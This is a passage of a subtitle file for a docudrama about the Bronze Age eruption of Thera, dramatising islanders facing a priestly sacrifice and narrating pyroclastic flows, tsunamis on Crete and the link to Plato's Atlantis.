00:53:37.886 --> 00:53:41.317
<i>triggering a catastrophic
chemical reaction.</i>

380
00:53:47.922 --> 00:53:50.122
<i>This chemical reaction would thrust</i>

381
00:53:50.394 --> 00:53:56.111
<i>an estimated 150 billion
tons of magma to the surface.</i>

382
00:54:06.897 --> 00:54:13.479
<i>And transform this eruption
into the greatest disaster
the ancient world had ever seen.</i>

383
00:54:14.193 --> 00:54:15.679
Hail, priestess. Hail, priestess.

384
00:54:17.336 --> 00:54:21.196
High priestess,
the people wait to hear you.

385
00:54:43.729 --> 00:54:45.400
People of Thera.

386
00:54:46.693 --> 00:54:48.161
Everyone!

387
00:54:49.203 --> 00:54:50.890
Friends and colleagues.

388
00:54:52.404 --> 00:54:53.666
You must listen to me.

389
00:54:54.065 --> 00:54:55.325
This is preposterous.

390
00:54:58.249 --> 00:54:59.914
The blood of bulls is not enough.

391
00:55:01.014 --> 00:55:02.765
There is nothing more we can offer.

392
00:55:04.658 --> 00:55:06.548
The gods have given
us enough warning.

393
00:55:07.320 --> 00:55:10.312
We must leave the island
before it is too late.

394
00:55:11.979 --> 00:55:15.232
My fleet will sail at sunset.
We will leave the island

395
00:55:16.497 --> 00:55:18.163
till it is safe to return.

396
00:55:20.674 --> 00:55:25.080
There is only one authority we can
trust on this island. The truth.

397
00:55:35.218 --> 00:55:36.902
People of Thera,

398
00:55:38.229 --> 00:55:41.582
in order to restore
peace on our island,

399
00:55:42.304 --> 00:55:44.090
Poseidon has asked
for something more.

400
00:55:45.014 --> 00:55:49.552
What are you going to offer him now?
Lions? Elephants?

401
00:55:52.390 --> 00:55:55.165
Until peace and calm can be restored,

402
00:55:55.896 --> 00:56:00.568
those that want
to leave the island may do so.

403
00:56:01.211 --> 00:56:04.906
- You cannot stay here, surely?
- You have to do your duty, Rusa.

404
00:56:06.001 --> 00:56:08.116
And I have to do mine.

405
00:56:12.853 --> 00:56:15.228
There will be another sacrifice.

406
00:56:17.745 --> 00:56:19.982
This time I...

407
00:56:20.796 --> 00:56:25.452
will undertake it
on behalf of all of us.

408
00:57:27.932 --> 00:57:34.854
<i>A superheated column of gas, ash
and rock blasted six miles
into the stratosphere...</i>

409
00:57:35.824 --> 00:57:40.247
<i>..forming a mushroom cloud
similar to an atomic bomb.</i>

410
00:57:41.434 --> 00:57:48.174
<i>This was a Plinian eruption, the
most deadly of all volcanic events.</i>

411
00:57:53.618 --> 00:57:57.581
<i>The sound of the eruption
was heard as far away as Egypt.</i>

412
00:57:58.225 --> 00:58:02.873
<i>And within minutes the plume
would it be seen from Crete.</i>

413
00:58:12.981 --> 00:58:16.517
Everyone!
We need to leave the island now.

414
00:58:16.850 --> 00:58:18.826
To stay here is madness.

415
00:58:19.062 --> 00:58:21.626
Everyone, follow me. To the ships.

416
00:58:28.800 --> 00:58:30.931
Get your things
and meet me at the harbour.

417
00:58:32.412 --> 00:58:33.730
What now?

418
00:58:36.946 --> 00:58:38.740
We do as we planned.

419
00:58:39.018 --> 00:58:40.527
Bring me Pinaruti.

420
00:58:40.528 --> 00:58:42.791
We must fulfil the vision.

421
00:58:51.593 --> 00:58:54.198
What do you want?
- We're here for her, not you.

422
00:58:55.202 --> 00:58:59.094
Why? What do you want with her?
- High priestess orders...

423
00:58:59.095 --> 00:59:00.571
It's not your buiseness!

424
00:59:00.572 --> 00:59:03.978
She's my wife! That makes it my buisenes.

425
00:59:23.830 --> 00:59:26.536
We need every inch of every ship.

426
00:59:27.077 --> 00:59:29.553
OK, everybody. Cargo overboard.

427
00:59:36.062 --> 00:59:37.099
Make space, come on.

428
00:59:37.280 --> 00:59:38.964
Come on, move, move.

429
00:59:45.002 --> 00:59:47.558
We're leaving the city with my father.
- You're free to go, Yishharu.

430
00:59:47.838 --> 00:59:49.360
We're BOTH leaving.
- No!

431
00:59:50.462 --> 00:59:53.660
Pinaruti must fulfil her destiny.
The gods have demanded it.

432
00:59:53.854 --> 00:59:54.919
Her destiny is with me.

433
00:59:57.888 --> 01:00:01.532
Your vision, Pinaruti,
spelled out your destiny.

434
01:00:02.566 --> 01:00:06.092
We do not choose these things.
The gods decide for us.

435
01:00:06.584 --> 01:00:08.571
We must ensure it is fulfilled.

436
01:00:10.156 --> 01:00:10.982
What vision?

437
01:00:13.686 --> 01:00:16.204
What vision?!
- You said it wasn't clear.

438
01:00:18.785 --> 01:00:23.414
That it wasn't the gods speaking, it
was my own fears. And it wasn't me!

439
01:00:29.843 --> 01:00:31.338
It's not what I saw.

440
01:00:35.072 --> 01:00:36.811
What did you see?

441
01:00:45.293 --> 01:00:46.696
Who did you see?

442
01:00:50.273 --> 01:00:51.205
Who did you see?!

443
01:01:03.496 --> 01:01:04.371
After them!

444
01:01:30.257 --> 01:01:31.930
Yishharu, where are you?

445
01:01:39.696 --> 01:01:42.953
It was Yishharu's blood
she saw sacrificed.

446
01:01:44.340 --> 01:01:49.357
May Queracia forgive your deception,
Ariad. I'm not sure I can.

447
01:01:59.154 --> 01:02:03.079
We know what the gods have asked
for. The vision must be fulfilled.

448
01:02:03.341 --> 01:02:06.183
It wasn't clear enough. I don't think...
- Start thinking.

449
01:02:06.745 --> 01:02:09.301
The gods are tearing Thera apart.

450
01:02:09.452 --> 01:02:12.583
If you can't tell us why,
if you can't stop it,

451
01:02:12.764 --> 01:02:14.110
then what must the people think?

452
01:02:15.427 --> 01:02:19.076
Where is your power, Bansabira,
if you can't appease the gods?

453
01:02:20.113 --> 01:02:24.655
They've demanded a life and have
shown us who it must be.

454
01:02:33.508 --> 01:02:35.504
Find him.

455
01:02:42.844 --> 01:02:44.880
Keep going, come on.
- I'm slowing you down.

456
01:03:01.364 --> 01:03:04.182
What are you doing?
- If they catch you, they'll kill you.

457
01:03:05.010 --> 01:03:07.986
I'll get rid of them and comeback for you.
- What if you don't?

458
01:03:10.239 --> 01:03:12.304
Then you must find my father
and tell him what's happened?

459
01:03:13.075 --> 01:03:17.311
I'm scared, Yishharu.
I'm scared of losing you.

460
01:04:17.000 --> 01:04:18.720
<i>In the first four hours of the eruption,</i>

461
01:04:19.173 --> 01:04:24.235
<i>the volcano ejected 5 billion tons
of magma.</i>

462
01:04:26.991 --> 01:04:29.228
<i>Day rapidly turned to night,</i>

463
01:04:29.229 --> 01:04:33.538
<i>As volcanic ash began to smother the island.</i>

464
01:04:57.860 --> 01:04:59.641
You think killing me
will stop this, Bansabira?

465
01:05:00.337 --> 01:05:01.741
The gods want us all dead!

466
01:05:04.980 --> 01:05:09.815
<i>As the magma cooled, it fell as pumice.</i>

467
01:05:15.706 --> 01:05:17.282
<i>Small stones and rocks</i>

468
01:05:17.529 --> 01:05:23.516
<i>filled with tiny bubbles of air,
deathly as the begun to accumulate.</i>

469
01:05:24.007 --> 01:05:29.345
One at a time! Don't push!
Master, we've got to set sail!

470
01:05:32.311 --> 01:05:34.281
We'll make room for everyone!

471
01:05:40.073 --> 01:05:44.816
We need to make for the ships.
We should go, now!

472
01:05:48.114 --> 01:05:49.352
Look at him, Bansabira.

473
01:05:50.213 --> 01:05:52.327
Even your own people
don't believe in this.

474
01:05:54.774 --> 01:06:00.079
If we leave now we can make to the ships.
No one else has to die!

475
01:06:02.107 --> 01:06:03.237
Silence him!

476
01:06:06.460 --> 01:06:08.053
Forgive me.

477
01:06:14.079 --> 01:06:16.335
<i>But it was ash, not pumice,</i>

478
01:06:16.516 --> 01:06:18.477
<i>that posed the more immediate
threat.</i>

479
01:06:18.478 --> 01:06:22.478
Help! Help me!

480
01:06:23.087 --> 01:06:30.950
<i>Volcanic ash isn't like ordinary
ash. It contains silicone.</i>

481
01:06:30.951 --> 01:06:34.285
Please somebody, please help me!

482
01:06:34.286 --> 01:06:36.353
Please help!

483
01:06:36.354 --> 01:06:37.354
Help me, please!

484
01:06:37.799 --> 01:06:38.908
<i>Once inhaled,</i>

485
01:06:39.099 --> 01:06:43.901
<i>it mixes with the moisture in the
lungs to form a liquid cement.</i>

486
01:06:48.458 --> 01:06:50.576
<i>It makes breathing difficult.</i>

487
01:06:58.178 --> 01:07:01.212
<i>Then impossible.</i>

488
01:07:55.354 --> 01:08:03.124
Rusa! Pinaruti!

489
01:08:04.251 --> 01:08:06.794
Where's Yishharu?
- The priests came after us.

490
01:08:07.131 --> 01:08:10.527
They wanted me as a sacrifice.
He said he'd be back.

491
01:08:12.414 --> 01:08:14.263
Rusa, we've got to go!

492
01:08:17.633 --> 01:08:21.856
Take her to her father in Crete.
- No. No!

493
01:08:22.015 --> 01:08:27.381
No, I don't want to go without him.
- Tie her up if you have to. - No! No!

494
01:08:28.471 --> 01:08:34.034
Rusa! Rusa! Let me go!

495
01:08:34.397 --> 01:08:35.406
Let me go!

496
01:08:55.243 --> 01:08:56.658
Where is Yishharu?

497
01:08:59.834 --> 01:09:03.339
Where is my son,
you contemptible little coward?

498
01:09:03.872 --> 01:09:05.768
Sanctuary.

499
01:09:51.118 --> 01:09:53.835
Stop!
- Out of my way!

500
01:10:02.232 --> 01:10:05.454
<i>As the crater widened,
sea water poured into it.</i>

501
01:10:06.956 --> 01:10:11.128
<i>On contact with the magma,
the water exploded as steam,</i>

502
01:10:11.787 --> 01:10:14.399
<i>triggering the next volcanic phase.</i>

503
01:10:35.430 --> 01:10:37.934
<i>The violent reaction
between water and magma</i>

504
01:10:38.525 --> 01:10:41.087
<i>created a phreatomagmatic eruption.</i>

505
01:10:52.937 --> 01:10:55.721
<i>It's estimated the sound
pressure from this explosion</i>

506
01:10:56.167 --> 01:10:58.560
<i>would have reached 300 decibels.</i>

507
01:11:12.501 --> 01:11:16.386
<i>The sheer force ripped
rocks from inside the crater,</i>

508
01:11:17.005 --> 01:11:20.312
<i>catapulting them
into the air like deadly missiles.</i>

509
01:11:21.378 --> 01:11:22.834
<i>Lava bombs.</i>

510
01:11:45.996 --> 01:11:49.937
<i>These burning chunks of magma
can be the size of a small truck</i>

511
01:11:50.317 --> 01:11:51.581
<i>and weigh up to eight tons.</i>

512
01:12:40.461 --> 01:12:45.209
Turn back! Turn back!

513
01:12:46.987 --> 01:12:48.476
Turn back.

514
01:12:49.570 --> 01:12:51.306
There's nothing to go back to.

515
01:12:54.712 --> 01:13:01.780
Please, turn back. Please.

516
01:13:16.934 --> 01:13:18.187
<i>With the crater widening,</i>

517
01:13:18.515 --> 01:13:23.153
<i>the pressure forcing the column
upwards started to drop.</i>

518
01:13:25.466 --> 01:13:29.090
<i>Gas and rock spilled from the sides
of the collapsing column.</i>

519
01:13:40.324 --> 01:13:42.121
<i>Known as pyroclastic flows,</i>

520
01:13:42.555 --> 01:13:46.267
<i>these superheated waves of gas
and rock reached speeds</i>

521
01:13:46.400 --> 01:13:49.031
<i>of up to 180 miles an hour,</i>

522
01:13:50.766 --> 01:13:54.723
<i>and temperatures of
700 degrees Celsius.</i>

523
01:14:51.820 --> 01:14:57.347
You've taken all that's precious
to me. Is this all you have left?!

524
01:15:15.969 --> 01:15:17.141
Look!

525
01:15:17.772 --> 01:15:21.028
Look what your gods have done Bansabira...

526
01:15:23.005 --> 01:15:29.676
No matter what I can offer you,
it'll never be enough.

527
01:16:00.448 --> 01:16:02.458
<i>As the pyroclastic
flows hit the sea,</i>

528
01:16:03.002 --> 01:16:05.916
<i>hot ash caused the water surface
to boil,</i>

529
01:16:07.806 --> 01:16:08.820
<i>propelling them along</i>

530
01:16:09.087 --> 01:16:15.332
<i>at an even faster
speed on superheated beds of steam.</i>

531
01:16:23.271 --> 01:16:25.224
Come on, come on, row!

532
01:16:38.287 --> 01:16:40.901
Row, row, row, come on!

533
01:16:41.729 --> 01:16:43.725
Come on, row!

534
01:18:28.830 --> 01:18:30.376
<i>The deadly impact of the eruption</i>

535
01:18:30.930 --> 01:18:33.718
<i>extended far beyond
the island of Thera.</i>

536
01:18:49.403 --> 01:18:50.724
<i>Hour after hour,</i>

537
01:18:50.724 --> 01:18:56.971
<i>Pyroclastic flows continiued pushing
volcanic debris, out into the sea,</i>

538
01:18:58.340 --> 01:19:00.516
<i>generating huge waves.</i>

539
01:19:01.319 --> 01:19:03.574
<i>Tsunamis.</i>

540
01:19:08.124 --> 01:19:12.618
<i>People on the nearby island of Crete
might have seen the warning signs.</i>

541
01:19:13.134 --> 01:19:15.530
<i>But had little time to react.</i>

542
01:19:56.281 --> 01:19:59.024
<i>Travelling at 200 miles an hour,
it would have taken</i>

543
01:19:59.174 --> 01:20:03.232
<i>only 20 minutes for the first
tsunami to reach Crete.</i>

544
01:20:04.595 --> 01:20:08.375
<i>Experts estimate that by the time
the waves hit the coastline,</i>

545
01:20:09.089 --> 01:20:11.574
<i>they would have been
over 60 feet high.</i>

546
01:21:08.187 --> 01:21:13.044
<i>New research has revealed that
a series of tsunamis ravaged towns</i>

547
01:21:13.372 --> 01:21:16.103
<i>all along Crete's northern
coastline for hours,</i>

548
01:21:16.623 --> 01:21:19.463
<i>if not days after the eruption.</i>

549
01:21:24.501 --> 01:21:27.699
<i>Killing an estimated 30,000 people.</i>

550
01:21:36.319 --> 01:21:42.007
<i>As for the people of Thera,
only very few would have survived.</i>

551
01:21:54.287 --> 01:21:59.400
<i>Experts of the only now were able to
determine thrue scale of the disaster.</i>

552
01:22:01.318 --> 01:22:04.619
<i>Recent investigations of
the seabed around the island,</i>

553
01:22:04.981 --> 01:22:08.781
<i>have revieled the deposits from a Piroclastic flows.</i>

554
01:22:08.781 --> 01:22:16.054
<i>Extend as far out as 20 miles,
reaching fitneses of 260 feet.</i>

555
01:22:27.989 --> 01:22:33.212
<i>Excavation of the island itself revieled
the force of Piroclastic flows.</i>

556
01:22:33.693 --> 01:22:38.420
<i>Sheared of the upper stores
of the buildings of Therra.</i>

557
01:22:48.573 --> 01:22:54.304
<i>They all were entombed under 60 feet
of ash and pumice.</i>

558
01:23:27.185 --> 01:23:32.367
<i>It was one of the most violent
vulcanic erruptions in human history.</i>

559
01:23:39.389 --> 01:23:41.513
<i>Three times larger than Krakatoa.</i>

560
01:23:43.619 --> 01:23:45.996
<i>100 times larger than
Mount St Helens.</i>

561
01:23:47.377 --> 01:23:53.228
<i>And 40,000 times more powerful
than the Hiroshima bomb.</i>

562
01:23:57.422 --> 01:24:00.257
<i>The ash from the eruption
plunged the Mediterranean</i>

563
01:24:00.532 --> 01:24:01.694
<i>into weeks of darkness.</i>

564
01:24:03.167 --> 01:24:08.660
<i>Global temperatures dipped, stunting
plant growth as far away as Britain.</i>

565
01:24:16.154 --> 01:24:21.336
<i>The impact of the erruption extended
beyond the death toe.</i>

566
01:24:24.117 --> 01:24:27.266
<i>Minoan society was
shaken to the core.</i>

567
01:24:33.307 --> 01:24:37.721
<i>Archaeological evidence reveals
that there was deep social unrest.</i>

568
01:24:42.109 --> 01:24:45.955
<i>Towns and temple palaces
were sacked and burnt.</i>

569
01:24:51.425 --> 01:24:53.672
<i>Humans sacrificed.</i>

570
01:24:56.170 --> 01:25:01.996
<i>Finally, a civilisation that
had lasted for over 1,300 years</i>

571
01:25:02.401 --> 01:25:03.902
<i>was invaded and absorbed</i>

572
01:25:04.105 --> 01:25:08.096
<i>by a warring Greek tribe
called the Mycenaeans.</i>

573
01:25:13.418 --> 01:25:20.017
<i>Stories of the disaster, however,
were passed on, retold, embellished.</i>

574
01:25:36.947 --> 01:25:41.637
<i>In the 4th century BC they reached
the Greek philosopher Plato.</i>

575
01:25:41.637 --> 01:25:45.426
<i>And inspired him to write
a morality tale, about the rise</i>

576
01:25:45.521 --> 01:25:49.793
<i>and fall, of a great civilisation
he called Atlantis.</i>

577
01:25:51.693 --> 01:25:56.099
<i>For centuries his tale
has been discounted as a legend.</i>

578
01:25:56.833 --> 01:26:03.532
<i>Until archaeologists on Therra
uncovered a lost world.</i>

579
01:26:08.260 --> 01:26:16.262
<i>From the evidence being unearthed here,
Platos tale has found traction in thruth.</i>

580
01:26:17.357 --> 01:26:21.950
<i>He wrote, "The island consists of
circular belts of sea and land,</i>

581
01:26:21.950 --> 01:26:24.004
<i>"enclosing one another.</i>

582
01:26:25.738 --> 01:26:28.089
<i>"A seaway
and harbour filled with vessels</i>

583
01:26:28.189 --> 01:26:29.812
<i>"and merchants from all quarters.</i>

584
01:26:32.404 --> 01:26:33.939
<i>"And the wealth they possessed</i>

585
01:26:34.207 --> 01:26:38.154
<i>"was so immense, that the like
had never been seen before.</i>

586
01:26:42.440 --> 01:26:46.588
<i>"In the sacred precincts of Poseidon
there were bulls at large,</i>

587
01:26:46.833 --> 01:26:51.136
<i>"and the ten princess hunted after
the bulls with staves and nooses.</i>

588
01:26:53.508 --> 01:26:57.079
<i>"Then there occurred portentous
earthquakes and floods,</i>

589
01:26:57.270 --> 01:26:59.361
<i>"and one grievous day and night</i>

590
01:26:59.886 --> 01:27:03.951
<i>"the island of Atlantis
was swallowed up by the sea...</i>

591
01:27:06.341 --> 01:27:07.636
<i>"..and vanished."</i>

592
01:27:18.514 --> 01:27:21.672
<i>And so a great and wonderful world,</i>

593
01:27:22.192 --> 01:27:26.217
<i>cut off in its prime by a disaster
of cataclysmic proportions,</i>

594
01:27:27.003 --> 01:27:31.406
<i>became the birthplace of one of
the greatest legends of all time...</i>

595
01:27:32.968 --> 01:27:36.324
<i>..Atlantis.</i>

596
01:27:37.776 --> 01:27:39.040
Subtitles by Red Bee Media Ltd

597
01:27:39.041 --> 01:27:39.918
E-mail [email protected]

598
01:27:40.872 --> 01:27:52.138
Fixed timings and
added dialogs and narration
--zoksihot--

599
01:27:52.898 --> 01:27:57.168
March 2012
--zoksihot--

600
01:28:00.050 --> 01:28:02.584
T H E   E N D


ZeroDay Forums Mini